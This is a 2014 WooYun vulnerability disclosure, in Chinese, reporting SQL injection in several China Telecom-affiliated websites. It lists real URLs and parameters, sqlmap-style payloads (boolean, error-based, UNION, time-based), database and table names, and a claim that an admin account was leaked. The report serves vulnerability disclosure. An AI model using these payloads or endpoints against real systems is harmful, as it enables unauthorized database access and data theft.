当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-053729

漏洞标题:中国电信多个分站点存在SQL注入漏洞

相关厂商:中国电信

漏洞作者: 小包子

提交时间:2014-03-17 14:13

修复时间:2014-05-01 14:14

公开时间:2014-05-01 14:14

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-17: 细节已通知厂商并且等待厂商处理中
2014-03-24: 厂商已经确认,细节仅向厂商公开
2014-04-03: 细节向核心白帽子及相关领域专家公开
2014-04-13: 细节向普通白帽子公开
2014-04-23: 细节向实习白帽子公开
2014-05-01: 细节向公众公开

简要描述:

电信注入

详细说明:

#站点list:
http://www.hbitsx.com.cn
http://www.ks.js.cn
http://yz3g.mobi
#注入点list:
1.IT时讯电子报

d1.jpg


http://www.hbitsx.com.cn/ImageContent.aspx?BlockTypeID=1&IsFirstPage=1
http://www.hbitsx.com.cn/MoreContentList.aspx?QNum=20140125
http://www.hbitsx.com.cn/forum.aspx?QNum=20140125&BlockTypeID=1&IsFirstPage=1
2.昆山视窗

dk.jpg


http://food.ks.js.cn/sj_show.aspx?id=1041
http://food.ks.js.cn/web_1/default.aspx?id=1041
http://food.ks.js.cn/ztshow.aspx?id=61
http://food.ks.js.cn/wbshow.aspx?id=1427&keepThis=true&TB_iframe=true&height=350&width=400
3.扬州天翼

yz.jpg


POST注入

http://yz3g.mobi/flow/ pn=88952634


漏洞证明:

IT时讯电子报

Place: GET
Parameter: IsFirstPage
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: BlockTypeID=1&IsFirstPage=1 AND 2873=2873
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: BlockTypeID=1&IsFirstPage=1 AND 9251=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (9251=9251) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(99)+CHAR(120)+CHAR(113)))
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: BlockTypeID=1&IsFirstPage=1 UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(120)+CHAR(118)+CHAR(97)+CHAR(113)+CHAR(109)+CHAR(89)+CHAR(79)+CHAR(106)+CHAR(82)+CHAR(87)+CHAR(80)+CHAR(77)+CHAR(78)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(99)+CHAR(120)+CHAR(113),NULL,NULL,NULL,NULL,NULL--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: BlockTypeID=1&IsFirstPage=-2846 OR 5101=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: BlockTypeID=1&IsFirstPage=(SELECT CHAR(113)+CHAR(120)+CHAR(118)+CHAR(97)+CHAR(113)+(SELECT (CASE WHEN (3340=3340) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(99)+CHAR(120)+CHAR(113))
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current database: 'ENews'


tb:泄露管理员账户,弱口令

Database: ENews
[6 tables]
+--------------+
| T_BlockInfo |
| T_BlockType |
| T_News |
| T_PaperInfo |
| T_User |
| dtproperties |
+--------------+


昆山视窗

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1041 AND 1018=1018
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
current database: 'ksfood'


扬州天翼

t.jpg

修复方案:

修复下!

版权声明:转载请注明来源 小包子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2014-03-24 22:20

厂商回复:

CNVD确认并复现所述多个案例情况,已经转由CNCERT直接通报中国电信集团公司,由其后续分别下发给对应省公司处置。按多个漏洞进行评分,rank 17

最新状态:

暂无


漏洞评价:

评论

  1. 2015-07-22 22:12 | 李叫兽就四李叫兽 ( 路人 | Rank:23 漏洞数:14 | 啦啦啦啦)

    这个是什么工具,求分享下